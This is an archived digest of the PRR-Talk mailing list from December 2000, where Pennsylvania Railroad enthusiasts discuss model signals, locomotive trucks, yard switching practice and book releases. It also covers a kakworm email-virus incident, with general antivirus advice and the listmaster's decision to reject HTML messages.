only for your own good but, for anyone that you communicate with via

computer or on your network.



Also please go to the Windows update site and download (For free) the

critical updates. These are fixes to the sloppily designed Windows OS.

Windows has many security glitches that these viruses exploit. For example

in Outlook Express the screen that appears at the bottom of your IN box

(known as the preview pane) opens e-mails automatically making you

vulnerable to virus attacks. You can shut this function off by going to VIEW

then to LAYOUT and then in the section under PREVIEW PANE uncheck the box

SHOW PREVIEW PANE.



Please DO NOT flame Steve Hoxie. He probably doesn't know that he has this

virus. It operates without being noticed in a system that does not have anti

virus software.



If you have any further questions I will be glad to answer them for you.



Thanks

Doug Goss

Gosstech



homes@infocom.com



www.railroaddays.org









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!!NEXT MESSAGE!!
From: "m mcm" <radclyff@erie.net>

Subject: Re: [PRR] PRR Signals

Date: Sun, 17 Dec 2000 07:04:30 -0500



This is a multi-part message in MIME format.



------=_NextPart_000_0041_01C067F7.99F18820

Content-Type: text/plain;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



Are there any O Scale signals available? Years ago, I purchased some NJ =

International signals, but I am expanding the layout(I am working in 2 =

rail scale O)

Mike Tronetti

(grandson of the operator/telegrapher at DF)

  ----- Original Message -----=20

  From: JONS6755@aol.com=20

  To: ptripician@adelphia.net ; PRR-Talk@dsop.com=20

  Sent: Saturday, December 16, 2000 7:54 PM

  Subject: Re: [PRR] PRR Signals





  Phil,=20

  Yes, Oregon Rail Supply makes some wonderful PRR position light signal =



  heads that are very affordable. They're on-line at Oregon Rail Supply =

.=20

  The owner is Dick Yager... Tell Dick "Big Jon" from Milwaukee sent =

you, and=20

  he will take care of you ! !   =20

  Jon S.=20

  PRRT&HS #3079=20



  PS That goes for any "Listers"=20



------=_NextPart_000_0041_01C067F7.99F18820

Content-Type: text/html;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>Are there any O Scale signals =

available? Years ago,=20

I purchased some NJ International signals, but I am expanding the =

layout(I am=20

working in 2 rail scale O)</FONT></DIV>

<DIV><FONT face=3DArial size=3D2>Mike Tronetti</FONT></DIV>

<DIV><FONT face=3DArial size=3D2>(grandson of the operator/telegrapher =

at=20

DF)</FONT></DIV>

<BLOCKQUOTE=20

style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =

BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">

  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>

  <DIV=20

  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =

black"><B>From:</B>=20

  <A title=3DJONS6755@aol.com =

href=3D"mailto:JONS6755@aol.com">JONS6755@aol.com</A>=20

  </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =

title=3Dptripician@adelphia.net=20

  href=3D"mailto:ptripician@adelphia.net">ptripician@adelphia.net</A> ; =

<A=20

  title=3DPRR-Talk@dsop.com =

href=3D"mailto:PRR-Talk@dsop.com">PRR-Talk@dsop.com</A>=20

  </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, December 16, =

2000 7:54=20

  PM</DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [PRR] PRR =

Signals</DIV>

  <DIV><BR></DIV><FONT face=3Darial,helvetica><FONT size=3D2>Phil, =

<BR>Yes, Oregon=20

  Rail Supply makes some wonderful PRR position light signal <BR>heads =

that are=20

  very affordable. They're on-line at <A=20

  href=3D"http://www.oregonrail.com/">Oregon Rail Supply</A> . <BR>The =

owner is=20

  Dick Yager... Tell Dick "Big Jon" from Milwaukee sent you, and <BR>he =

will=20

  take care of you ! ! &nbsp;&nbsp; <BR>Jon S. <BR>PRRT&amp;HS #3079 =

<BR><BR>PS=20

  That goes for any "Listers" </FONT></FONT></BLOCKQUOTE></BODY></HTML>



------=_NextPart_000_0041_01C067F7.99F18820--





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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 09:12:22 -0500

Subject: [PRR] TANGENT How to get rid of virus

From: Jerry Britton <jerry@pennsyrr.com>



More comments from the listmaster...



Again, my e-mail/listserv DOES NOT allow attachments. The virus in question,

and a few others, are distributed within the text of an e-mail. They are

designed to execute using the scripting capabilities of Windows Outlook upon

the reader viewing the mail. As such, since the message is not "read" on the

server, it cannot be detected at that point.



However, I did check the Symantic AntiVirus site. It seems that "kakworm"

and most of these other viruses exploit a known vulnerability in Outlook

that was patched by Microsoft OVER A YEAR AGO! So, if one were to just keep

their mail software current they would avoid many of these viral attacks as

well.



On 12/17/00 2:46 AM, Doug Goss at (homes@infocom.com) wrote:



> Again while down loading a PRR-talk e-mail from server, my Norton Antivirus

> detected a virus attached to an e-mail. The E-mail was from Steve Hoxie with

> the subject FWD FWD PRR in Alabama. This virus is script.kakworm. More

> information and a fix can be found at Symantec's website:

> http://www.sarc.com/avcenter/venc/data/wscript.kakworm.html

> 

> I highly encourage everyone on the list to visit this sight and download and

> run the fix program on your machine.

> If you have anti virus software you should make sure that you update it on a

> regular basis. I download the updates for my Norton Antivirus on a weekly

> basis. If you do not do this you are not protected.

> If you do not have any anti virus software please go buy some. This is not

> only for your own good but, for anyone that you communicate with via

> computer or on your network.

> 

> Also please go to the Windows update site and download (For free) the

> critical updates. These are fixes to the sloppily designed Windows OS.

> Windows has many security glitches that these viruses exploit. For example

> in Outlook Express the screen that appears at the bottom of your IN box

> (known as the preview pane) opens e-mails automatically making you

> vulnerable to virus attacks. You can shut this function off by going to VIEW

> then to LAYOUT and then in the section under PREVIEW PANE uncheck the box

> SHOW PREVIEW PANE.

> 



---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 09:17:54 -0500

Subject: [PRR] Double-Headed GG-1's / FP-7's

From: Jerry Britton <jerry@pennsyrr.com>



Last week the question was raised about "Did the PRR ever double-head

GG-1's. I've been logging a few videos for Harrisburg footage and I also

noted a few examples of double-headed GG-1's:



Digital Image Works: Philadelphia Terminal Division



@ 20:00: double header on corridor



Penn Valley Pictures: Under The Catenary



3:20: double on REA WB at Harrisburg

30:19: double header WB at Royalton (Amtrak era)

32:20: double header EB at Harrisburg (PC era)





Also discussed was the use of the dual service FP-7. The aforementioned PVP

video shows, at 4:00, and FP-7 leading a WB REA train out of Harrisburg.

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 10:37:41 -0400

From: prrbill <prrbill@Op.Net>

Subject: Re: [PRR] PRR Signals



Yes, there are several MTH (Mike's Train House) PRR O scale signals;

both the dwarf and a full scale round with 7 yellow lights.  MTH will

also introduce a 'Pennsy' signal bridge (for 2 tracks) in the near future.



Bill Morlitz



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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 11:26:00 -0500

Subject: [PRR] TANGENT - Jim Kerner Please Respond

From: Jerry Britton <jerry@pennsyrr.com>



If there is a "Jim Kerner" from Cooperstown, PA, on this list, please

contact me directly, off-list. Time is of the essence. Thank you.

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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!!NEXT MESSAGE!!
From: "Doug Goss" <homes@infocom.com>

Subject: [PRR] Viruses tangent

Date: Sun, 17 Dec 2000 11:58:37 -0500



Jerry,

Thank you for your response. I hope you don't think I'm trying to say that

virus problem can be fixed at the server. I understand that this particular

virus exploits the signature function within Microsoft outlook.

You have done everything you can reasonably do to avoid virus attacks upon

the list. Most virus attack through an attachment, fortunately you have that

function disabled upon this list.



To all the members of this list: Please do your part and follow up with

Jerry and my request.



Doug Goss

Gosstech



homes@railroaddays.org



www.railroaddays.org



The above two links where added automatically using the signature function

of Microsoft outlook.





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!!NEXT MESSAGE!!
From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] Triumph III, IV etc; Chicago

Date: Sun, 17 Dec 2000 13:14:19 -0500



Does anyone know how many Triumph volumes are planned and what they will

cover?  I'm waiting for Renovo and Williamsport Divisions.  That'll happen

when the Cubs win the series and Buffalo Bills the superbowl.



I'm interested in information for railranning Chicago.  Especially info on

personal safety.  One can't be too careful out there, but there sure are

lots of trains, including a lot of former PRR locations.  Off list please,

unless there is general interest.



Thanks in advance.



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII







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!!NEXT MESSAGE!!
From: "Steve Hoxie" <steveh@dotstar.net>

Subject: Re: [PRR] TANGENT How to get rid of virus

Date: Sun, 17 Dec 2000 14:17:37 -0600



To the List--My apologies for sending out a message with the "kakworm"

virus.  Didn't even know it was there, as was already said, but my Windows

Outlook Express is, in fact, current.  Guess that is why I wasn't infected,

just became a carrier.  However, my Norton Antivirus also did not alert on

the virus.  In any event, I have made sure I have downloaded the latest from

Symantec and run the NAV scan.  I am sure you will let me know if there is

still a problem!  I also passed on the virus notification to the source of

the message I forwarded.



Steve Hoxie

Pensacola FL







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!!NEXT MESSAGE!!
From: "W. Terry Stuart" <tstuart@forcomm.net>

Subject: [PRR] Triumph III, IV etc; Chicago

Date: Sun, 17 Dec 2000 15:16:47 -0500



Bill Bigler inquired...



>

>I'm interested in information for railranning Chicago.





Swajkart (pronounced SWY-kart), John, (I may not have the spelling quite

correct--it's a challenge) RAILFAN'S GUIDE TO CHICAGO.  You might want to

check with one of the big Chicago hobby shops, or perhaps BOOKS IN PRINT at

your local library, to see if it's still being published.



I used it years ago...  don't know if it's currently available.  Even an

older copy would be useful.  It's keyed to the CHICAGO TRIBUNE map, complete

with DRIVING instructions and CTA bus routes, so you can even railfan

without a car!



Had all the major interlockings, towers (there used to be towers), stations,

everything--where to safely park your car and where to shoot from public

access for every location, mini-maps, and a reference photo.



I think John also did an edition for St. Louis.



Absolutely the most incredible little "handbook" you've ever seen for

railfanning--every major terminal city should have one!







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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 16:00:45 -0500

Subject: Re: [PRR] Triumph III, IV etc; Chicago

From: Jerry Britton <jerry@pennsyrr.com>



On 12/17/00 1:14 PM, Bill Bigler at (wbigler@stny.rr.com) wrote:



> Does anyone know how many Triumph volumes are planned and what they will

> cover?  I'm waiting for Renovo and Williamsport Divisions.  That'll happen

> when the Cubs win the series and Buffalo Bills the superbowl.

> 

There were originally to be seven volumes. I know hear there may be many

more than that.



Triumph IV will definitely be the Middle Division and is due fall 2001.



Triumph V was at one point slated to be the Maryland Division, but I don't

know if that is still the case or not.



Don't know what the content beyond that is.

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



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From: FarbLand@aol.com

Date: Sun, 17 Dec 2000 19:49:57 EST

Subject: [PRR] F7 and GP9 locomotives.





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I am hoping someone can help me with this. I need to locate roster 

information for F7 and GP9 diesels that were on the property in the Summer of 

1957.(June, July, August) I have the Pennsy diesel years books but the roster 

information contained in them is later than what I am looking for. Also the 

Withers Pennsy Diesel Pictoral books give good roster infomation but they 

have not done the two classes I am looking for. I need to obtain engine 

numbers and region assignments. Specifically I am looking for locomotives 

assigned to the Northern Region. I've been told many (all) GP9's were used 

out of the systemwide pool, so they could be found anywhere. Thanks in 

advance. 

Brian Carlson



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>I am hoping someone can help me with this. I need to locate roster <BR>information for F7 and GP9 diesels that were on the property in the Summer of <BR>1957.(June, July, August) I have the Pennsy diesel years books but the roster <BR>information contained in them is later than what I am looking for. Also the <BR>Withers Pennsy Diesel Pictoral books give good roster infomation but they <BR>have not done the two classes I am looking for. I need to obtain engine <BR>numbers and region assignments. Specifically I am looking for locomotives <BR>assigned to the Northern Region. I've been told many (all) GP9's were used <BR>out of the systemwide pool, so they could be found anywhere. Thanks in <BR>advance. 

<BR>Brian Carlson</FONT></HTML>



--part1_28.ea6fdc1.276eb935_boundary--



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!!NEXT MESSAGE!!
Date: Sun, 17 Dec 2000 22:07:15 -0500

From: bobp@tsc.com (Bob Poortinga)

Subject: Re: [PRR] Viruses tangent



"Doug Goss" <homes@infocom.com> writes:



> Jerry, Thank you for your response. I hope you don't think I'm trying to

> say that virus problem can be fixed at the server.



You should have said that because it's true.  This virus can be easily

stopped at the listserver if the listserver is configured to reject

HTML attachments.



> I understand that this particular virus exploits the signature function

> within Microsoft outlook.



I'm afraid you are off base here.  This virus exploits what is called

"Windows Script Host" (WSH).  It is actually a security hole in Internet

Explorer.  Since Outhouse,er,Outlook uses IE to display HTML in the preview

pane, any email which contains WSH code will be executed unless you have 

tightened up the default security settings in IE.



> Most virus attack through an attachment,



True for email borne viruses.



> fortunately you have that function disabled upon this list.



Not completely true.  HTML attachments should be rejected but instead are

allowed.



If you want to be complete safe from viruses, do what I do.  Use a character

based email client under Unix or Linux to read your mail.



-- 

Bob Poortinga  (mailto:bobp@tsc.com)

Bloomington, Indiana  USA



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From: RDG2124@aol.com

Date: Mon, 18 Dec 2000 01:00:20 EST

Subject: [PRR] Proto 1000 RDC's



  This car came out with a disappointing paint job, some batches more so than 

others.  A fellow modeler used Microscale Decal's, Stainless Steel sheets to 

perform a caterpillar-to-butterfly rework of this model.  The results are 

unbelievable!   With the stainless steel decal sheeting applied the model 

captures the true appearance of  Budd's stainless steel.  The original paint 

job was left on and only the lettering removed to preclude the possibility of 

it showing through the decal sheeting.  The model was given a satin coat as a 

protective coating then lightly weather.



  Don practiced with the stainless steel decal sheet on some old Athearn 

streamlined cars prior to tackling the Proto 1000 car.  Not one of us who 

work at the hobby shop guessed they were Athearn!!  But most of us would have 

liked to have had the cars!! 



  Try it -- you'll like it!



  Happy modeling,



  Evan   



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Date: Mon, 18 Dec 2000 05:38:51 -0800 (PST)

From: Geoffrey Van Dooren <geoff_vandooren@yahoo.com>

Subject: [PRR] Sperry Rail Detector car



List, 

in the January issue of Model Railroader was an

advertisment from Walthers for their new Sperry Rail

Detector car in different paint schemes.

Can I use this car on my 1954 layout in the 1970's and

earlier paint scheme or did this car never saw Pennsy

tracks?

Thank you, Geoffrey



__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

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From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] Triumph III, IV etc; Chicago

Date: Mon, 18 Dec 100 08:59:06 -0500 (EST)



Bill Bigler scribit:

> 

> Does anyone know how many Triumph volumes are planned and what they will

> cover?  I'm waiting for Renovo and Williamsport Divisions.  That'll happen

> when the Cubs win the series and Buffalo Bills the superbowl.

> 

> I'm interested in information for railranning Chicago.  Especially info on

> personal safety.  One can't be too careful out there, but there sure are

> lots of trains, including a lot of former PRR locations.  Off list please,

> unless there is general interest.



Bill, and anyone else interested,

please feel free to contact me off-list and/or at home re railfanning.

I have railfanned the former PRR in that area about 6 times in the past

3-4 years.



-- 

Mark



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From: Colman Gerald <ColmanG@tce.com>

Subject: [PRR] Leading Truck Question

Date: Mon, 18 Dec 2000 08:20:22 -0500



Can anyone on the list answer the following for me?

 

I read a few books on steam locomotives and they all say that the leading

truck was used to help steer the engine into a curve.  How does this

actually work?  Is there some mechanical linkage / mechanism that might

retard the drivers on one side depending in which direction the curved track

was?

 

Also, what is the advantage of 4-wheeled leading-trucks versus 2 wheels?

Would this help at higher speed?

 

Thanks in advance.

Also, thanks to everyone who answered my PFE question.

 

Jerry Colman

 



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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] Leading Truck Question

Date: Mon, 18 Dec 2000 10:56:06 -0500



Jerry:-



A steam locomotive leading truck generally had a bearing plate that was

higher in the center and curved downward to the outsides, shifting the

weight toward the outer rail on curves to help keep the leading drivers from

climbing the rail.  A four wheel leading truck allowed shorter main rods

connected to the first or second, rather than the third axle, reducing

unbalanced rotating weight at higher speeds.  This is greatly

oversimplified, but will give you the general idea.



Gregg Mahlkov



----- Original Message -----

From: "Colman Gerald" <ColmanG@tce.com>

To: <prr-talk@dsop.com>

Sent: Monday, December 18, 2000 8:20 AM

Subject: [PRR] Leading Truck Question





> Can anyone on the list answer the following for me?

>

> I read a few books on steam locomotives and they all say that the leading

> truck was used to help steer the engine into a curve.  How does this

> actually work?  Is there some mechanical linkage / mechanism that might

> retard the drivers on one side depending in which direction the curved

track

> was?

>

> Also, what is the advantage of 4-wheeled leading-trucks versus 2 wheels?

> Would this help at higher speed?

>

> Thanks in advance.

> Also, thanks to everyone who answered my PFE question.

>

> Jerry Colman

>

>

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>

>





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Date: Mon, 18 Dec 2000 14:18:45 -0500

Subject: [PRR] Yard Crew

From: Eugene Nowlan <ENowlan@stny.rr.com>



When a train came into a flat switched yard how did the crew know on which

track to put a given car, in say the early 50's?

1. How did a crew member learn the direction that a given destination was

intended for? By rote from other crew members, the foreman, or was there a

master list that was to be memorized or consulted?

2. Once the crew knew that the box car for was destined North on the Elmira

Branch out of Williamsport, who decided which track the Elmira Branch train

was to be built on?

3. How did the crew avoid setting a car destined for track 8 out on lead 9

or 7? Were switch stands marked with numeric identifiers?

4. Were switch tenders used in flat yards?

On a slight twist,

5. How would an engineer have navigated from the Inbound track through a

maze of switches to the ash pit and coaling dock?



Gene,



Eugene Nowlan

<ENowlan@stny.rr.com>





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!!NEXT MESSAGE!!
Date: Mon, 18 Dec 2000 14:30:04 -0500

Subject: Re: [PRR] Yard Crew

From: Jerry Britton <jerry@pennsyrr.com>



On 12/18/00 2:18 PM, Eugene Nowlan (ENowlan@stny.rr.com) wrote:



> When a train came into a flat switched yard how did the crew know on which

> track to put a given car, in say the early 50's?



You should visit the Altoona Railroader's Memorial Museum for an interactive

illustration of the answers...



(correct me where I may be wrong, folks)



> 1. How did a crew member learn the direction that a given destination was

> intended for? By rote from other crew members, the foreman, or was there a

> master list that was to be memorized or consulted?



The yardmaster would align the inbound train into a specific receiving yard

track. The power would cut off and head to the engine house. From there on,

a local yard crew would deal with cutting the cars...and they know all of

the switches and tracks in their yard.



> 2. Once the crew knew that the box car for was destined North on the Elmira

> Branch out of Williamsport, who decided which track the Elmira Branch train

> was to be built on?



The outbound yard typically would have designated makeup tracks that

remained constant. For instance, traffic bound for Elmira Branch might

always go onto Track 9.



The next train headed up the Elmira Branch would take that cut of cars. If

you are talking Enola, a train might take a block out of Track 8 for

Williamsport, a block out of Track 10 for Buffalo, and a block out of Track

9 for Elmira Branch. It would then cut off the last block when it gets to

Williamsport.



> 3. How did the crew avoid setting a car destined for track 8 out on lead 9

> or 7? Were switch stands marked with numeric identifiers?



In a hump yard the loco just keeps pushing the inbound train over the hump.

The hump workers control the turnouts as each car rolls down. The engineer

has no control (or responsibility) for it.



On a flat yard, I would assume they would know the yard well enough as part

of their qualifications.



> 4. Were switch tenders used in flat yards?



You mean someone designated to just stand and operate a set number of

switches manually? Don't know. Suppose it is possible.



> On a slight twist,

> 5. How would an engineer have navigated from the Inbound track through a

> maze of switches to the ash pit and coaling dock?

> 

The yardmaster would have to set up the route. Not sure if the road crew did

this or if a local crew took care of it.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

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!!NEXT MESSAGE!!
From: Mark Bej <bejm@eeg.ccf.org>

Subject: [PRR] PRRTHS - when is next meeting?

Date: Mon, 18 Dec 100 14:39:31 -0500 (EST)





Anyone remember?



-- 

Mark



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!!NEXT MESSAGE!!
Date: Mon, 18 Dec 2000 14:50:30 -0500

Subject: Re: [PRR] PRRTHS - when is next meeting?

From: Jerry Britton <jerry@pennsyrr.com>



On 2/6/40 2:39 PM, Mark Bej (bejm@eeg.ccf.org) wrote:



> Anyone remember?

> 

"Timetable" on "Keystone Crossings"!!!



    http://kc.pennsyrr.com/timetable.html

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

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From: NDBPRR@aol.com

Date: Mon, 18 Dec 2000 14:54:10 EST

Subject: [PRR] Rock slide fences





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Does anyone know of any dimensional data or drawings for Rock Slide Fences?  

I assume these had a saparate signal they controlled and were not tied into 

the block signal system.



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Does anyone know of any dimensional data or drawings for Rock Slide Fences? &nbsp;<BR>I assume these had a saparate signal they controlled and were not tied into <BR>the block signal system.</FONT></HTML>



--part1_6f.e991df9.276fc562_boundary--



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!!NEXT MESSAGE!!
From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] Rock slide fences

Date: Mon, 18 Dec 100 15:13:10 -0500 (EST)



NDBPRR@aol.com scribit:

> 

> 

> Does anyone know of any dimensional data or drawings for Rock Slide Fences?  

> I assume these had a saparate signal they controlled and were not tied into 

> the block signal system.



They were variable in size.



They _were_ tied into the signal system. See several diagrams on my site,

ROY is one, where signals in the rear ("before") the fence had a plate

on them reading "SP" (slide protection). See also in several employee

timetables where it described these fences, and the fact that the signals

with SP plates would show their most restrictive aspect when the fence

would trip.



-- 

Mark



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From: Bobspf@aol.com

Date: Mon, 18 Dec 2000 16:20:40 EST

Subject: Re: [PRR] Yard Crew



In a message dated 12/18/00 1:31:22 PM Central Standard Time, 

ENowlan@stny.rr.com asks some very good questions about yardswitching.  Jerry 

responded with some good answers. However, with Jerry's permission, I would 

also recommend joining the Operations SIG and their chatlist for answers to 

these questions. While not always PRR-specific (some are), it is a good 

source.  You can participate in  the list for free, with the understanding 

that, under the honor system, you would eventually join the SIG ($15 per 

year, which includes the quarterly Dispatcher's Office publication, easily 

worth the money).  



To subscribe to the list, which is now hosted by the Railway Industry list, 

go to www. Egroups.com  and sign up for Ry-ops-industrialSIG.  There are 

currently 553 members.



Bob Zoeller



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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: [PRR] Trucks

Date: Mon, 18 Dec 2000 21:15:31 -0000



>>I read a few books on steam locomotives and they all say that the leading

truck was used to help steer the engine into a curve. How does this

actually work? Is there some mechanical linkage / mechanism that might

retard the drivers on one side depending in which direction the curved track

was?<<



The first problem that you would have with such a mechanism is that it would

tend to shear the axles - unlike a car there is no differential.



The idea of using the truck to steer the loco into a curve is more a matter

of using controlled sideplay to reduce the stress of the rigid wheelbase

hitting a curve. The truck moves under the frame but isn't free to slop

around (as it is on too many models). A mechanism - commonly laminated

springs - transmits side thrust to the front end of the loco and eases the

passage of the first set of drivers into the curve (The arrangements used on

certain engines such as the Austrian 2-6-4s need a posting to themselves,

but in this case the leading drivers were mounted as part of the truck

rather than the rigid frame)



>>Also, what is the advantage of 4-wheeled leading-trucks versus 2 wheels?

Would this help at higher speed?<<



There was a general consensus that a 4 wheel truck was needed for higher

speed service. It was capable of carrying more weight and provided a more

positive guiding action, since the side thrust was divided over four wheels

and not two.



Aidrian









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Date: Mon, 18 Dec 2000 16:53:08 -0500

Subject: Re: [PRR] Yard Crew

From: Eugene Nowlan <ENowlan@stny.rr.com>



Thanks Bob,



The Operations Sig is a good suggestion. However I was specifically

interested in how the PRR handled these situations in flat yards where

trains were made up for locals & transfers.



I must say that I forgot about the Strong Arm Controllers for locomotive

movements.













Gene,



Eugene Nowlan

<ENowlan@stny.rr.com>



> From: Bobspf@aol.com

> Date: Mon, 18 Dec 2000 16:20:40 EST

> To: PRR-Talk@dsop.com

> Subject: Re: [PRR] Yard Crew

> 

> In a message dated 12/18/00 1:31:22 PM Central Standard Time,

> ENowlan@stny.rr.com asks some very good questions about yardswitching.  Jerry

> responded with some good answers. However, with Jerry's permission, I would

> also recommend joining the Operations SIG and their chatlist for answers to

> these questions. While not always PRR-specific (some are), it is a good

> source.  You can participate in  the list for free, with the understanding

> that, under the honor system, you would eventually join the SIG ($15 per

> year, which includes the quarterly Dispatcher's Office publication, easily

> worth the money).

> 

> To subscribe to the list, which is now hosted by the Railway Industry list,

> go to www. Egroups.com  and sign up for Ry-ops-industrialSIG.  There are

> currently 553 members.

> 

> Bob Zoeller

> 

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> "listserv@dsop.com".





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Date: Mon, 18 Dec 2000 17:13:57 -0500

Subject: [PRR] TANGENT: HTML/MIME Messages Now Rejected

From: Jerry Britton <jerry@pennsyrr.com>



>From the Listmaster:



The mailing lists of DSOP.COM now not only reject "traditional" attachments,

but also HTML (MIME) format messages.



We attempted to do this a few months ago but the third-party code did not

work properly. I installed another third-party solution a few minutes ago

and it does indeed work.



>From here on out, if you send a message to the lists in MIME/HTML format,

the message will be rejected and the sender will be notified.



While most e-mail clients handle legitimate MIME/HTML messages gracefully,

others display undesirable HTML code while others show what looks like a

real attachment.



The other driving factor here is that many of the script viruses that plague

Windoze users are transmitted in MIME/HMTL, often without the knowledge of

the user who sends the message. I can't say that it will stop all of them,

but it should further reduce the liability from the list.



(If anyone is infected with the kakworm virus, I am actually asking you to

please try one post with an appropriate subject so others don't read it if

it does get through. I am hoping you will alert me that it was indeed

rejected.)



REMEMBER: Anti-Virus protection is the user's responsibility!

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] Yard Crew

Date: Mon, 18 Dec 2000 21:34:15 -0500



Gene:



When a train arrived in a yard, the conductor took the waybills to the yard

office. The yard clerks then sorted the waybills by yard track depending on

destination.  From this sort, the Yardmaster prepared a Switch List for the

switching crew which told the crew on which track to place each car of the

inbound train in the order it arrived. The waybills were placed in a

pigeonhole corresponding to the yard track.



Yes, there was a master list showing on which track cars destined each

station should be placed, but since this was the yard clerk's principal job

each one learned it pretty quick.  It was vitally important that the

waybills in the pigeonholes EXACTLY correspond to the cars on each track,

which is why the railroads were one of the first industries to extensively

use computers. Prior to computers, that 8.5 by 11 sheet of paper called the

waybill was the only way anyone on the railroad could tell where and to whom

a car belonged!  Lose it and the car might as well be at the South Pole.



The Yardmaster was responsible for assigning tracks in his yard, but did not

change them except in unusual circumstances such as natural disasters or

major repair work.



Before a person qualified for a crew he had better know where each track in

the yard was.  Since the size of a train crew was five in the early 1950's,

the two trainmen were responsible for throwing switches.



If a crew needed to get to the engine service area, they would call the

Yardmaster from a wayside telephone prior to radio and he would tell them

which tracks to use. The trainmen would throw the switches as they

proceeded.



When the Trainmaster called for an outbound departure, the train would be

pulled from one to four tracks and the conductor would pick up the waybills

from the pigeonholes in the block order and make up his wheel report.while

the yard clerks prepared the train consist.



Trust this answers some of your questions. I started railroading with the

PRR at the start of the computer era, and believe me it was a godsend. When

the merger took place, the PRR and NYC computers were incompatible and at

one time 16,000 cars were lost without waybills!



Gregg Mahlkov

----- Original Message -----

From: "Eugene Nowlan" <ENowlan@stny.rr.com>

To: "Prr-Talk" <PRR-Talk@dsop.com>

Sent: Monday, December 18, 2000 2:18 PM

Subject: [PRR] Yard Crew





> When a train came into a flat switched yard how did the crew know on which

> track to put a given car, in say the early 50's?

> 1. How did a crew member learn the direction that a given destination was

> intended for? By rote from other crew members, the foreman, or was there a

> master list that was to be memorized or consulted?

> 2. Once the crew knew that the box car for was destined North on the

Elmira

> Branch out of Williamsport, who decided which track the Elmira Branch

train

> was to be built on?

> 3. How did the crew avoid setting a car destined for track 8 out on lead 9

> or 7? Were switch stands marked with numeric identifiers?

> 4. Were switch tenders used in flat yards?

> On a slight twist,

> 5. How would an engineer have navigated from the Inbound track through a

> maze of switches to the ash pit and coaling dock?

>

> Gene,

>

> Eugene Nowlan

> <ENowlan@stny.rr.com>

>

>

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>





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From: "Steve Hoxie" <steveh@dotstar.net>

Subject: [PRR] Re:  PRR in Alabama?

Date: Mon, 18 Dec 2000 21:04:14 -0600



To the List--Finally, now virus free, I can send to whoever desires an

attachment with two jpeg files of two photos of this PRR EP22 5706 way off

the beaten track in northern Alabama.  Both photos show the forward third of

the fireman's side.  The rest of the length is obscured by a passenger car.



It is painted in Tuscan with five stripes.  Although I doubt that the paint

job is the original, nothing would surprise me.  Although the pilot has been

modified into a snow plow, the nose lift rings are intact so I guess that

makes this a legitimate PRR engine.  The side skirts have been removed, and

there is considerable rust damage along the lower edge of the body.  There

